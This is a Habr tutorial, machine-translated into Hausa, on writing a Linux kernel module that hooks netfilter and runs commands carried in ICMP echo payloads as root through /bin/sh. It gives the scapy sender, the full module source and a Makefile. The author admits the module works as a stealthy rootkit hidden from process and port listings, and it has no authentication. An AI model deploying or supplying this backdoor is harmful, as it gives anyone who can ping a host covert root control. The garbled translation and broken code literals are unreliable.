Harsashin nukiliya akan ICMP

Harsashin nukiliya akan ICMP

TL, DR: Ina rubuta tsarin kernel wanda zai karanta umarni daga nauyin ICMP kuma ya aiwatar da su akan sabar ko da SSH ɗinku ya fadi. Ga mafi yawan rashin haƙuri, duk lambar shine github.

Tsanani ƙwararrun masu shirye-shiryen C suna haɗarin fashewa da kuka na jini! Zan iya ma yin kuskure a cikin kalmomi, amma duk wani zargi yana maraba. An yi niyya ne ga waɗanda ke da mummunan ra'ayi na shirye-shiryen C kuma suna so su duba cikin Linux.

A cikin sharhin da na fara labarin da aka ambata SoftEther VPN, wanda zai iya kwaikwayi wasu ka'idojin "na yau da kullun", musamman HTTPS, ICMP har ma da DNS. Zan iya tunanin kawai farkonsu yana aiki, tunda na saba da HTTP(S), kuma dole ne in koyi tunneling akan ICMP da DNS.

Harsashin nukiliya akan ICMP

Ee, a cikin 2020 na koyi cewa zaku iya saka nauyin biyan kuɗi na sabani cikin fakitin ICMP. Amma mafi kyau marigayi fiye da taba! Kuma tunda ana iya yin wani abu game da shi, to akwai bukatar a yi shi. Tun da a cikin rayuwata ta yau da kullun ina amfani da layin umarni, gami da ta hanyar SSH, tunanin harsashi na ICMP ya fara zuwa zuciyata. Kuma domin in haɗa cikakken wasan bingo na bullshield, na yanke shawarar rubuta shi azaman tsarin Linux a cikin yaren da kawai nake da ra'ayi mara kyau. Irin wannan harsashi ba za a iya gani a cikin jerin matakai ba, za ku iya ɗora shi a cikin kwaya kuma ba zai kasance a kan tsarin fayil ba, ba za ku ga wani abu mai ban tsoro ba a cikin jerin tashoshin sauraron sauraro. Dangane da iyawar sa, wannan cikakken rootkit ne, amma ina fatan in inganta shi kuma in yi amfani da shi azaman harsashi na makoma ta ƙarshe lokacin da Matsakaicin Load ya yi yawa don shiga ta hanyar SSH kuma a aiwatar da aƙalla. echo i > /proc/sysrq-triggerdon mayar da damar shiga ba tare da sake kunnawa ba.

Muna ɗaukar editan rubutu, ƙwarewar shirye-shirye na asali a cikin Python da C, Google da kama-da-wane wanda ba ku damu ba a saka a ƙarƙashin wuka idan komai ya karye (na zaɓi - VirtualBox / KVM / da sauransu) kuma bari mu tafi!

Bangaran abokin ciniki

Ya zama kamar a gare ni cewa ga bangaren abokin ciniki zan rubuta rubutun mai kusan layi 80, amma akwai mutane masu kirki da suka yi min shi. duk aikin. Lambar ta zama mai sauƙi ba zato ba tsammani, ta dace cikin mahimman layuka 10:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Rubutun yana ɗaukar gardama guda biyu, adireshi da abin biya. Kafin aikawa, maɓalli yana gaba da abin biya run:, za mu buƙaci shi don keɓance fakiti tare da abubuwan biya bazuwar.

Kwayar tana buƙatar gata don kera fakiti, don haka za a gudanar da rubutun azaman mai amfani. Kar a manta ba da izinin aiwatarwa kuma shigar da scapy kanta. Debian yana da kunshin da ake kira python3-scapy. Yanzu zaku iya duba yadda duk yake aiki.

Gudu da fitar da umarnin
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Wannan shi ne abin da yake kama a cikin sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Nauyin da ake biya a cikin fakitin martani baya canzawa.

Kernel module

Don ginawa a cikin injin kama-da-wane na Debian kuna buƙatar aƙalla make и linux-headers-amd64, sauran za su zo a cikin hanyar dogara. Ba zan samar da duka lambar a cikin labarin ba; zaku iya rufe shi akan Github.

Saitin ƙugiya

Don farawa, muna buƙatar ayyuka guda biyu don loda tsarin kuma don sauke shi. Ba a buƙatar aikin saukewa ba, amma sai rmmod ba zai yi aiki ba; za a sauke tsarin ne kawai idan an kashe shi.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Me ke faruwa a nan:

  1. Fayil na kai guda biyu ana jawo su don sarrafa tsarin da kansa da netfilter.
  2. Duk ayyukan suna wucewa ta hanyar netfilter, zaku iya saita ƙugiya a ciki. Don yin wannan, kuna buƙatar bayyana tsarin da za a saita ƙugiya. Abu mafi mahimmanci shine ƙayyade aikin da za a aiwatar a matsayin ƙugiya: nfho.hook = icmp_cmd_executor; Zan isa aikin kanta daga baya.
    Sannan na saita lokacin sarrafa fakitin: NF_INET_PRE_ROUTING Yana ƙayyade don aiwatar da kunshin lokacin da ya fara bayyana a cikin kwaya. Ana iya amfani da shi NF_INET_POST_ROUTING don sarrafa fakitin yayin da yake fita kernel.
    Na saita tace zuwa IPv4: nfho.pf = PF_INET;.
    Ina ba ƙugiya ta fifiko mafi girma: nfho.priority = NF_IP_PRI_FIRST;
    Kuma na yi rajistar tsarin bayanan azaman ƙugiya na ainihi: nf_register_net_hook(&init_net, &nfho);
  3. Aikin ƙarshe yana cire ƙugiya.
  4. Ana nuna lasisin a sarari don kada mai tarawa ya koka.
  5. Ayyuka module_init() и module_exit() saita wasu ayyuka don farawa da ƙare tsarin.

Maido da abin biya

Yanzu muna buƙatar cire kayan aiki, wannan ya zama aiki mafi wahala. Kwaya ba ta da ayyukan ginanniyar aiki don yin aiki tare da abubuwan biyan kuɗi; kawai kuna iya rarraba kanun labarai na ƙa'idodi masu girma.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Me ke faruwa:

  1. Dole ne in haɗa ƙarin fayilolin kan kai, wannan lokacin don sarrafa adireshin IP da ICMP.
  2. Na saita iyakar tsayin layi: #define MAX_CMD_LEN 1976. Me yasa daidai wannan? Domin mai tarawa ya koka da shi! Sun riga sun ba ni shawarar cewa ina buƙatar fahimtar tarin da tulin, watarana tabbas zan yi wannan kuma watakila ma gyara lambar. Nan take na saita layin da zai ƙunshi umarni: char cmd_string[MAX_CMD_LEN];. Ya kamata a bayyane a duk ayyuka; Zan yi magana game da wannan dalla-dalla a cikin sakin layi na 9.
  3. Yanzu muna buƙatar fara farawa (struct work_struct my_work;) tsarin kuma haɗa shi da wani aiki (DECLARE_WORK(my_work, work_handler);). Zan kuma yi magana game da dalilin da ya sa wannan ya zama dole a cikin sakin layi na tara.
  4. Yanzu na ayyana wani aiki, wanda zai zama ƙugiya. Nau'in da hujjojin da aka karɓa ana yin su ta hanyar netfilter, muna sha'awar kawai skb. Wannan faifan soket ne, tushen bayanai na asali wanda ya ƙunshi duk bayanan da ake samu game da fakiti.
  5. Don aikin ya yi aiki, kuna buƙatar sifofi biyu da masu canji da yawa, gami da masu maimaitawa guda biyu.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Za mu iya farawa da dabaru. Don tsarin ya yi aiki, babu fakitin da ba ICMP Echo da ake buƙata ba, don haka muna rarraba buffer ta amfani da ginanniyar ayyuka kuma muna fitar da duk fakitin da ba ICMP da mara Echo ba. Komawa NF_ACCEPT yana nufin yarda da kunshin, amma kuma kuna iya sauke fakiti ta dawowa NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ban gwada abin da zai faru ba tare da duba taken IP ba. Ƙananan ilimina na C yana gaya mani cewa ba tare da ƙarin bincike ba, wani abu mai ban tsoro zai faru. Zan yi farin ciki idan kun hana ni wannan!

  7. Yanzu da kunshin na ainihin nau'in da kuke buƙata, kuna iya fitar da bayanan. Ba tare da ginanniyar aikin ba, da farko dole ne ka sami mai nuni zuwa farkon abin biya. Ana yin wannan a wuri ɗaya, kuna buƙatar ɗaukar mai nuni zuwa farkon taken ICMP kuma matsar da shi zuwa girman wannan rubutun. Komai yana amfani da tsari icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Ƙarshen rubutun dole ne ya dace da ƙarshen abin da aka biya a ciki skb, don haka muna samun ta ta amfani da hanyoyin nukiliya daga tsarin da ya dace: tail = skb_tail_pointer(skb);.

    Harsashin nukiliya akan ICMP

    An sace hoton daga nan, za ku iya karanta ƙarin game da buffer soket.

  8. Da zarar kuna da masu nuni zuwa farkon da ƙarshe, za ku iya kwafi bayanan cikin kirtani cmd_string, duba shi don kasancewar prefix run: kuma, ko dai a zubar da kunshin idan ya ɓace, ko kuma sake rubuta layin, cire wannan prefix.
  9. Shi ke nan, yanzu za ku iya kiran wani mai kulawa: schedule_work(&my_work);. Tun da ba zai yiwu a wuce siga zuwa irin wannan kiran ba, layin da ke da umarnin dole ne ya zama na duniya. schedule_work() zai sanya aikin da ke da alaƙa da tsarin da aka wuce a cikin babban layi na mai tsara ɗawainiya kuma ya cika, ba ku damar jira umarnin don kammalawa. Wannan wajibi ne saboda ƙugiya dole ne ya kasance da sauri sosai. In ba haka ba, zaɓinku shine cewa babu abin da zai fara ko za ku sami firgita kernel. Jinkirta kamar mutuwa ce!
  10. Shi ke nan, za ku iya karɓar kunshin tare da komawa daidai.

Kiran shirin a sararin mai amfani

Wannan aikin shine mafi fahimta. An ba da sunanta a ciki DECLARE_WORK(), Nau'in da maganganun da aka karɓa ba su da ban sha'awa. Muna ɗaukar layin tare da umarnin kuma mu wuce shi gaba ɗaya zuwa harsashi. Bari ya yi aiki tare da rarrabawa, neman binaries da komai.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Saita gardama zuwa tsararrun igiyoyi argv[]. Zan ɗauka cewa kowa ya san cewa a zahiri ana aiwatar da shirye-shiryen ta wannan hanyar, kuma ba azaman ci gaba da layi tare da sarari ba.
  2. Saita masu canjin yanayi. Na shigar da PATH kawai tare da mafi ƙarancin saitin hanyoyin, da fatan an riga an haɗa su duka /bin с /usr/bin и /sbin с /usr/sbin. Sauran hanyoyin ba su da mahimmanci a aikace.
  3. Anyi, bari mu yi! Aikin kwaya call_usermodehelper() karban shiga. hanyar zuwa binary, tsararrun muhawara, tsararrun masu canjin yanayi. Anan na kuma ɗauka cewa kowa ya fahimci ma'anar wucewar hanyar zuwa fayil ɗin da za a iya aiwatarwa a matsayin hujja daban, amma kuna iya tambaya. Hujja ta ƙarshe tana ƙayyadaddun ko za a jira aikin ya kammala (UMH_WAIT_PROC), fara tsari (UMH_WAIT_EXEC) ko ba a jira ba (UMH_NO_WAIT). Akwai wasu kuma UMH_KILLABLE, Ban duba ba.

Majalisar

Ana yin taron na'urorin kwaya ta hanyar kernel make-framework. An kira make a cikin kundin adireshi na musamman da aka ɗaure da sigar kernel (an bayyana a nan: KERNELDIR:=/lib/modules/$(shell uname -r)/build), kuma an wuce wurin da module ɗin yake zuwa ga m M a cikin jayayya. icmpshell.ko da maƙasudai masu tsabta suna amfani da wannan tsarin gaba ɗaya. IN obj-m yana nuna fayil ɗin abu wanda za'a juyar dashi zuwa ma'auni. Syntax da ke sake yin main.o в icmpshell.o (icmpshell-objs = main.o) ba ya yi min ma'ana sosai, amma haka ya kasance.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Muna tattara: make. Ana lodi: insmod icmpshell.ko. Anyi, kuna iya duba: sudo ./send.py 45.11.26.232 "date > /tmp/test". Idan kuna da fayil akan injin ku /tmp/test kuma yana dauke da ranar da aka aiko da bukatar, ma'ana kun yi komai daidai kuma na yi komai daidai.

ƙarshe

Kwarewata ta farko game da ci gaban nukiliya ta kasance mafi sauƙi fiye da yadda nake tsammani. Ko da ba tare da haɓakawa ba a cikin C, mai da hankali kan alamu masu tarawa da sakamakon Google, na sami damar rubuta tsarin aiki kuma na ji kamar ɗan ɗan fashin kwamfuta na kernel, kuma a lokaci guda ɗan littafin rubutu. Ƙari ga haka, na je tashar Kernel Newbies, inda aka ce in yi amfani da ita schedule_work() maimakon kira call_usermodehelper() cikin ƙugiyar kanta ta kunyatar da shi, dama zargin zamba. Layukan lamba ɗari sun kashe ni kusan mako guda na ci gaba a cikin lokacin kyauta. Kwarewar nasara wacce ta lalata tatsuniya ta kaina game da babban sarkakiyar ci gaban tsarin.

Idan wani ya yarda ya yi bitar lambar akan Github, zan yi godiya. Na tabbata na yi kurakurai da yawa na wauta, musamman lokacin aiki da igiyoyi.

Harsashin nukiliya akan ICMP

source: www.habr.com

Add a comment